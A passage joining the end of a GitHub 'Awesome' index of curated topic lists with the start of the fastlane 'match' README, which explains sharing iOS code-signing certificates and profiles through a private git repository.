- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme) ## Databases - [Database](https://github.com/numetriclabz/awesome-db#readme) - [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme) - [Neo4j](https://github.com/neueda/awesome-neo4j#readme) - [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database. - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework. - [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database. - [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database. - [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store. - [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases. - [Contexture](https://github.com/ltchris/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB. - [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media#readme) - [Fonts](https://github.com/brabadu/awesome-fonts#readme) - [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme) - [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images. - [Music](https://github.com/ciconia/awesome-music#readme) - [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme) - [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme) - [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art. - [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video. - [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects. - [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments. ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program#readme) - [Speaking](https://github.com/matteofigus/awesome-speaking#readme) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme) - [Computer History](https://github.com/watson/awesome-computer-history#readme) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme) - [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing. - [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme) - [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules. - [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager. - [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills. - [YouTubers](https://github.com/JoseDeFreitas/awesome-youtubers#readme) - Watch video tutorials from YouTubers that teach you about technology. ## Security - [Application Security](https://github.com/paragonie/awesome-appsec#readme) - [Security](https://github.com/sbilly/awesome-security#readme) - [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme) - [Android Security](https://github.com/ashishb/android-security-awesome#readme) - [Hacking](https://github.com/carpedm20/awesome-hacking#readme) - [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization. - [Incident Response](https://github.com/meirwah/awesome-incident-response#readme) - [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme) - [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services. - [Lockpicking](https://github.com/fabacab/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key. - [Cybersecurity Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems. - [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data. - [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme) - [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU. - [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps). ## Content Management Systems - [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS. - [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS. - [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS. - [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS. - [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites. - [Silverstripe CMS](https://github.com/wernerkrauss/awesome-silverstripe-cms#readme) - PHP MVC framework that serves as a classic or headless CMS. ## Hardware - [Robotics](https://github.com/Kiloreux/awesome-robotics#readme) - [Internet of Things](https://github.com/HQarroum/awesome-iot#readme) - [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists. - [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme) - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar. - [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots. - [Robotic Tooling](https://github.com/protontypes/awesome-robotic-tooling#readme) - Free and open tools for professional robotic development. - [LIDAR](https://github.com/szenergy/awesome-lidar#readme) - Sensor for measuring distances by illuminating the target with laser light. ## Business - [Open Companies](https://github.com/opencompany/awesome-open-company#readme) - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme) - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices. - [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment. - [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses. - [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News. - [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology. - [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making. - [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded. - [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management. ## Work - [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration. - [Communities](https://github.com/filipelinhares/awesome-slack#readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme) - [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme) - [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme) - [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme) - [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code. - [Creative Technology](https://github.com/j0hnm4r5/awesome-creative-technology#readme) - Businesses & groups that specialize in combining computing, design, art, and user experience. ## Networking - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme) - [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme) - [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data. ## Decentralized Systems - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers. - [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network. - [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications. - [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network. - [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development. - [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning. - [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps. - [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business. - [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions. - [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust. ## Higher Education - [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system. - [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history. - [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks. - [Sustainable Technology](https://github.com/protontypes/awesome-sustainable-technology#readme) - Open technology sustaining stable climate, energy supply, and vital natural resources. ## Events - [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff. - [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy. - [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands. ## Testing - [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing. - [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style. - [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem. - [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps. - [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol. - [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool. - [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution. - [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API. ## Miscellaneous - [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format. - [GeoJSON](https://github.com/tmcw/awesome-geojson#readme) - [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme) - [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values. - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme) - [Radio](https://github.com/kyleterry/awesome-radio#readme) - [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated. - [Analytics](https://github.com/onurakpolat/awesome-analytics#readme) - [REST](https://github.com/marmelab/awesome-rest#readme) - [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme) - [Services Engineering](https://github.com/mmcgrana/services-engineering#readme) - [Free for Developers](https://github.com/ripienaar/free-for-dev#readme) - [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS. - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme) - [Readme](https://github.com/matiassingers/awesome-readme#readme) - [Design and Development Guides](https://github.com/NARKOZ/guides#readme) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme) - [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme) - [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme) - [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner. - [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers#readme) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme) - [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics. - [GraphQL](https://github.com/chentsulin/awesome-graphql#readme) - [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme) - [Research Tools](https://github.com/emptymalei/awesome-research#readme) - [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme) - [Social Media Share Links](https://github.com/vinkla/shareable-links#readme) - [Microservices](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme) - [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists. - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol. - [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme) - [For Girls](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework. - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API. - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language. - [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry. - [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots#readme) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme) - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures. - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework. - [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology. - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system. - [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers. - [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional. - [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login. - [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom. - [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs. - [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language. - [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects. - [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers. - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP. - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt. - [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain. - [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives. - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use. - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system. - [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices. - [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line. - [Web Monetization](https://github.com/thomasbnt/awesome-web-monetization#readme) - A free open web standard service that allows you to send money directly in your browser. - [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works. - [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers. - [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community. - [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects. - [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences. - [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition. - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool. - [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer. - [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human. - [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text. - [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship. - [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society. - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community. - [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all. - [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects. - [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions. - [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub. - [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry. - [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin. - [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers. - [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme) - [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening. - [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production. - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API. - [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software. - [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms. - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features. - [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists. - [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol. - [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites. - [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis. - [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right. - [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text. - [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations. - [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress. - [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes. - [Ansible](https://github.com/KeyboardInterrupt/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform. - [Biological Visualizations](https://github.com/keller-mark/awesome-biological-visualizations#readme) - Interactive visualization of biological data on the web. - [Veganism](https://github.com/sdassow/awesome-veganism#readme) - Making the plant-based lifestyle easy and accessible. ## Related - [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub. - [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset. - [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists. - [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension. - [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.

<h3 align="center"> <a href="https://github.com/fastlane/fastlane/tree/master/fastlane"> <img src="../fastlane/assets/fastlane.png" width="150" /> <br /> fastlane </a> </h3> <p align="center"> <a href="https://github.com/fastlane/fastlane/tree/master/deliver">deliver</a> &bull; <a href="https://github.com/fastlane/fastlane/tree/master/snapshot">snapshot</a> &bull; <a href="https://github.com/fastlane/fastlane/tree/master/frameit">frameit</a> &bull; <a href="https://github.com/fastlane/fastlane/tree/master/pem">pem</a> &bull; <a href="https://github.com/fastlane/fastlane/tree/master/sigh">sigh</a> &bull; <a href="https://github.com/fastlane/fastlane/tree/master/produce">produce</a> &bull; <a href="https://github.com/fastlane/fastlane/tree/master/cert">cert</a> &bull; <a href="https://github.com/fastlane/fastlane/tree/master/spaceship">spaceship</a> &bull; <a href="https://github.com/fastlane/fastlane/tree/master/pilot">pilot</a> &bull; <a href="https://github.com/fastlane/boarding">boarding</a> &bull; <a href="https://github.com/fastlane/fastlane/tree/master/gym">gym</a> &bull; <a href="https://github.com/fastlane/fastlane/tree/master/scan">scan</a> &bull; <b>match</b> &bull; <a href="https://github.com/fastlane/fastlane/tree/master/precheck">precheck</a> </p> ------- <p align="center"> <img src="assets/match.png" height="110"> </p> match ============ [](https://twitter.com/FastlaneTools) [](https://github.com/fastlane/fastlane/blob/master/match/LICENSE) ###### Easily sync your certificates and profiles across your team using git A new approach to iOS code signing: Share one code signing identity across your development team to simplify your codesigning setup and prevent code signing issues. `match` is the implementation of the https://codesigning.guide concept. `match` creates all required certificates & provisioning profiles and stores them in a separate git repository. Every team member with access to the repo can use those credentials for code signing. `match` also automatically repairs broken and expired credentials. It's the easiest way to share signing credentials across teams [More information on how to get started with codesigning](/fastlane/docs/Codesigning) ------- <p align="center"> <a href="#why-match">Why?</a> &bull; <a href="#installation">Installation</a> &bull; <a href="#usage">Usage</a> &bull; <a href="#is-this-secure">Is this secure?</a> &bull; <a href="#need-help">Need help?</a> </p> ------- <h5 align="center"><code>match</code> is part of <a href="https://fastlane.tools">fastlane</a>: The easiest way to automate beta deployments and releases for your iOS and Android apps.</h5> ## Why match? Before starting to use `match`, make sure to read the [codesigning.guide](https://codesigning.guide) > When deploying an app to the App Store, beta testing service or even installing it on a device, most development teams have separate code signing identities for every member. This results in dozens of profiles including a lot of duplicates. > You have to manually renew and download the latest set of provisioning profiles every time you add a new device or a certificate expires. Additionally this requires spending a lot of time when setting up a new machine that will build your app. **A new approach** > Share one code signing identity across your development team to simplify your setup and prevent code signing issues. What if there was a central place where your code signing identity and profiles are kept, so anyone in the team can access them during the build process? ### Why not let Xcode handle all this? - You have full control over what happens - You have access to all the certificates and profiles, which are all securely stored in git - You share one code signing identity across the team to have fewer certificates and profiles - Xcode sometimes revokes certificates which breaks your setup causing failed builds - More predictable builds by settings profiles in an explicit way instead of using the `Automatic` setting - It just works™ ### What does `match` do for you? | | match | |----------|---------| :arrows_counterclockwise: | Automatically sync your iOS keys and profiles across all your team members using git :package: | Handle all the heavy lifting of creating and storing your certificates and profiles :computer: | Setup codesigning on a new machine in under a minute :dart: | Designed to work with apps with multiple targets and bundle identifiers :lock: | You have full control over your files and Git repo, no third party service involved :sparkles: | Provisioning profile will always match the correct certificate :boom: | Easily reset your existing profiles and certificates if your current account has expired or invalid profiles :recycle: | Automatically renew your provisioning profiles to include all your devices using the `--force` option :busts_in_silhouette: | Support for multiple Apple accounts and multiple teams :sparkles: | Tightly integrated with [fastlane](https://fastlane.tools) to work seamlessly with [gym](https://github.com/fastlane/fastlane/tree/master/gym) and other build tools For more information about the concept, visit [codesigning.guide](https://codesigning.guide). ## Installation ``` sudo gem install fastlane ``` Make sure you have the latest version of the Xcode command line tools installed: xcode-select --install ## Usage ### Setup 1. Create a **new, private Git repo** (e.g. on [GitHub](https://github.com/new) or [BitBucket](https://bitbucket.org/repo/create)) and name it something like `certificates`. **Important:** Make sure the repository is set to *private*. 2. Optional: Create a **new, shared Apple Developer Portal account**, something like `[email protected]` that will be shared across your team from now on (for more information visit [codesigning.guide](https://codesigning.guide)) 3. Run the following in your project folder to start using `match`: ``` fastlane match init ``` <img src="assets/match_init.gif" width="550" /> You'll be asked to enter the URL to your Git repo. This can be either a `https://` or a `git` URL. (If your machine is currently using SSH to authenticate with Github, you'll want to use a `git` URL, otherwise you may see an authentication error when you attempt to use match.) `fastlane match init` won't read or modify your certificates or profiles. This will create a `Matchfile` in your current directory (or in your `./fastlane/` folder). Example content (for more advanced setups check out the [fastlane section](#fastlane)): ```ruby git_url "https://github.com/fastlane/fastlane/tree/master/certificates" app_identifier "tools.fastlane.app" username "[email protected]" ``` #### Important: Use one git branch per team `match` also supports storing certificates of multiple teams in one repo, by using separate git branches. If you work in multiple teams, make sure to set the `git_branch` parameter to a unique value per team. From there, `match` will automatically create and use the specified branch for you. ```ruby match(git_branch: "team1", username: "[email protected]") match(git_branch: "team2", username: "[email protected]") ``` ### Run > Before running `match` for the first time, you should consider clearing your existing profiles and certificates using the [match nuke command](#nuke). After running `fastlane match init` you can run the following to generate new certificates and profiles: ``` fastlane match appstore ``` ``` fastlane match development ``` <img src="assets/match_appstore_small.gif" width="550" /> This will create a new certificate and provisioning profile (if required) and store them in your Git repo. If you previously ran `match` it will automatically install the existing profiles from the Git repo. The provisioning profiles are installed in `~/Library/MobileDevice/Provisioning Profiles` while the certificates and private keys are installed in your Keychain. To get a more detailed output of what `match` is doing use ``` fastlane match --verbose ``` For a list of all available options run ``` fastlane match --help ``` #### Handle multiple targets If you have several targets with different bundle identifiers, supply them as a comma-separated list to : ``` fastlane match appstore -a tools.fastlane.app,tools.fastlane.app.watchkitapp ``` You can make this even easier using [fastlane](https://github.com/fastlane/fastlane/tree/master/fastlane) by creating a `certificates` lane like this: ``` lane :certificates do match(app_identifier: ["com.krausefx.app1", "com.krausefx.app2", "com.krausefx.app3"], readonly: true) end ``` Then all your team has to do is `fastlane certificates` and keys, certs and profiles for all targets will be synced. #### Passphrase When running `match` for the first time on a new machine, it will ask you for the passphrase for the Git repository. This is an additional layer of security: each of the files will be encrypted using `openssl`. Make sure to remember the password, as you'll need it when you run match on a different machine. To set the passphrase to decrypt your profiles using an environment variable, use `MATCH_PASSWORD`. #### New machine To set up the certificates and provisioning profiles on a new machine, you just run the same command using: ``` fastlane match development ``` You can also run `match` in a `readonly` mode to be sure it won't create any new certificates or profiles. ``` fastlane match development --readonly ``` #### Access Control A benefit of using `match` is that it enables you to give the developers of your team access to the code signing certificates without having to give everyone access to the Developer Portal: 1. Run `match` to store the certificates in a Git repo 2. Grant access to the Git repo to your developers and give them the passphrase 3. The developers can now run `match` which will install the latest code signing profiles so they can build and sign the application without having to have access to the developer portal 4. Every time you run `match` to update the profiles (e.g. add a new device), all your developers will automatically get the latest profiles when running `match` If you decide to run `match` without access to the developer portal, make sure to use the `--readonly` option so that the commands don't ask you for the password to the developer portal. The advantage of this approach is that no one in your team will revoke a certificate by mistake. Additionally it is recommended to install the [FixCode Xcode Plugin](https://github.com/neonichu/FixCode) to disable the `Fix Issue` button. #### Git Repo After running `match` for the first time, your Git repo will contain 2 directories: - The `certs` folder contains all certificates with their private keys - The `profiles` folder contains all provisioning profiles Additionally, `match` creates a nice repo `README.md` for you, making it easy to onboard new team members: <p align="center"> <img src="assets/github_repo.png" width="700" /> </p> #### fastlane Add `match` to your `Fastfile` to automatically fetch the latest code signing certificates with [fastlane](https://fastlane.tools). ```ruby match(type: "appstore") match(git_url: "https://github.com/fastlane/fastlane/tree/master/certificates", type: "development") match(git_url: "https://github.com/fastlane/fastlane/tree/master/certificates", type: "adhoc", app_identifier: "tools.fastlane.app") match(git_url: "https://github.com/fastlane/fastlane/tree/master/certificates", type: "enterprise", app_identifier: "tools.fastlane.app") # `match` should be called before building the app with `gym` gym ... ``` ##### Registering new devices By using `match`, you'll save a lot of time every time you add new device to your Ad Hoc or Development profiles. Use `match` in combination with the [`register_devices`](https://docs.fastlane.tools/actions#register_devices) action. ```ruby lane :beta do register_devices(devices_file: "./devices.txt") match(type: "adhoc", force_for_new_devices: true) end ``` By using the `force_for_new_devices` parameter, `match` will check if the device count has changed since the last time you ran `match`, and automatically re-generate the provisioning profile if necessary. You can also use `force: true` to re-generate the provisioning profile on each run. If you're not using `fastlane`, you can also use the `force_for_new_devices` option from the command line: ``` fastlane match adhoc --force_for_new_devices ``` ##### Multiple Targets If your app has multiple targets (e.g. Today Widget or WatchOS Extension) ```ruby match(app_identifier: ["tools.fastlane.app", 